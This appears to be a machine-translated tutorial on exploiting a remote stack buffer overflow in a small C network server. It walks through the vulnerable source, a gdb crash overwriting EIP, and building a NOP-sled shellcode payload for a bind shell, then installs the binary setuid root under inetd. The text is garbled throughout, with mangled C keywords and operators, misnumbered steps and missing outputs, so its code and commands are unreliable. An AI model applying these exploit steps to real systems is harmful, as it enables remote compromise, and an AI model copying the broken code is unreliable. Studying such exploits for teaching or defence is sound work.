How to exploit Remote Buffer OverflowProgram
Here, we assume there is a vulnerable server program (vulnerable. c). Then we write an exploit to exploit this vulnerability, so that we can get a remote shell.
I. Understand programs with vulnerabilities:
--------------------------------------- Vulnerable. c ---------------------------------
# Include <stdio. h>
# Include <netdb. h>
# Include <netinet/in. h>
# Define buffer_size 1024
# Define name_size 2048
Int handling (int c)
{
Char buffer [buffer_size], name [name_size];
Int bytes;
Strcpy (buffer, "My name is :");
Bytes = Send (C, buffer, strlen (buffer), 0 );
If (Bytes =-1)
Return-1;
Bytes = Recv (C, name, sizeof (name), 0 );
If (Bytes =-1)
Return-1;
Name [bytes-1] = '\ 0 ';
Sprintf (buffer, "Hello % s, nice to meet you! \ R \ n ", name );
Bytes = Send (C, buffer, strlen (buffer), 0 );
If (Bytes =-1)
Return-1;
Return 0;
}
Int main (INT argc, char * argv [])
{
Int S, C, cli_size;
Struct sockaddr_in SRV, CLI;
If (argc! = 2)
{
Fprintf (stderr, "Usage: % s port \ n", argv [0]);
Return 1;
}
S = socket (af_inet, sock_stream, 0 );
If (S =-1)
{
Perror ("socket () failed ");
Return 2;
}
SRV. sin_addr.s_addr = inaddr_any;
SRV. sin_port = htons (unsigned short INT) atol (argv [1]);
SRV. sin_family = af_inet;
If (BIND (S, & SRV, sizeof (SRV) =-1)
{
Perror ("BIND () failed ");
Return 3;
}
If (Listen (s, 3) =-1)
{
Perror ("Listen () failed ");
Return 4;
}
For (;;)
{
C = accept (S, & CLI, & cli_size );
If (C =-1)
{
Perror ("accept () failed ");
Return 5;
}
Printf ("client from % s", inet_ntoa (CLI. sin_addr ));
If (Handling (c) =-1)
Fprintf (stderr, "% s: handling () failed", argv [0]);
Close (C );
}
Return 0;
}

The program will be compiled and run as follows:

It seems that there are no flaws, but GDB will display on the screen:

2. Buffer overflow of vulnerable programs
Re-connect to the service and provide more than 1024 bytes of input for the "My name is:..." command line:

The connection will be interrupted. Let's look at the output of GDB:
Program received signal SIGSEGV, segmentation fault.
0x41414141 in ?? ()
(GDB)
// Don't close GDB !!
It can be seen that the EIP is set to 0x41414141. 0x41 represents a "A". When we input 1024 bytes, the program will try to forward the string name [2048] into the buffer [1024]. Therefore, because name [2048] is greater than 1024 bytes, name will overwrite the buffer and overwrite the stored EIP. Our buffer will be in the following format:
Xxxxxxxx-name-2048-bytes-xxxxxxxxxx
[XXXXX buffer-only-1024-bytes XXX] [EIP]
After you overwrite the entire returned address, the function will jump to the wrong address 0x41414141, resulting in a piece error.
Write a Denial-of-Service attack tool for this program:

3. Find the return address:

Now we know we have rewritten the entire buffer. Let's try a few addresses.
Iv. ExploitCodeStructure
1. Locate ESP and find a sehllcode that can bind shell to the port.
2. Create a buffer greater than 1024 bytes
2. Use NOP to fill in the entire buffer:
Memset (buffer, 0x90,106 4 );
3. Load shellcode into the buffer
Memcpy (buffer + 1001-sizeof (shellcode), shellcode, sizeof (shellcode ));
4. Eliminate zero bytes in the buffer:
Buffer [1000] = 0x90; // 0x90 is the NOP in hexadecimal
5. Return address for uncopied Buffer:
For (I = 1022; I <1059; I + = 4)
{
(Int *) & buffer [I]) = ret;
// RET is the returnaddress we want to use... # define in the header
}
6. Add a \ 0 zero byte to the uncompleted Buffer:
Buffer [1063] = 0x0;
Now you can send it to machines with vulnerabilities.

5. Use exploit:
User @ Linux ~ /> GCC exploit. C-o Exploit
User @ Linux ~ />./Exploit
It works if you get the correct return address.
User @ Linux ~ /> Telnet
ID;
Uid = 500 (User) gid = 500 (User) groups = 500 (User)
We can see that we have succeeded.
6. Obtain the root permission:
User @ Linux ~ /> Su
Password :******
Root @ Linux ~ /> Ls-ln vulnerable
-Rwxrwxr-x 1 500 500 14106 Jun 18 vulnerable
Root @ Linux ~ /> Chown root vulnerable
Root @ Linux ~ /> Chmod 6755 vulnerable
Root @ Linux ~ />./Vulnerable <port>
7. Enter the service defined in inetd. conf
Attackers can hack into/usr/bin/
Root @ Linux ~ /> CP vulnerable/usr/bin/vulnerable
Root @ Linux ~ /> VI/etc/services
Add the following information:
Vulnerable 1526/tcp # defining port for our server program
Root @ Linux ~ /> VI/etc/inetd. conf
Add the following information:
Vulnerable stream tcp Nowait root/usr/bin/vulnerable 1526
Restart inetd:
Root @ Linux ~ /> Killall-hup inetd
8. Possible problems:
If exploit cannot be used, consider the return address and use GDB for testing:
User @ Linux ~ /> GDB vulnerable
......
(GDB) Run <port>
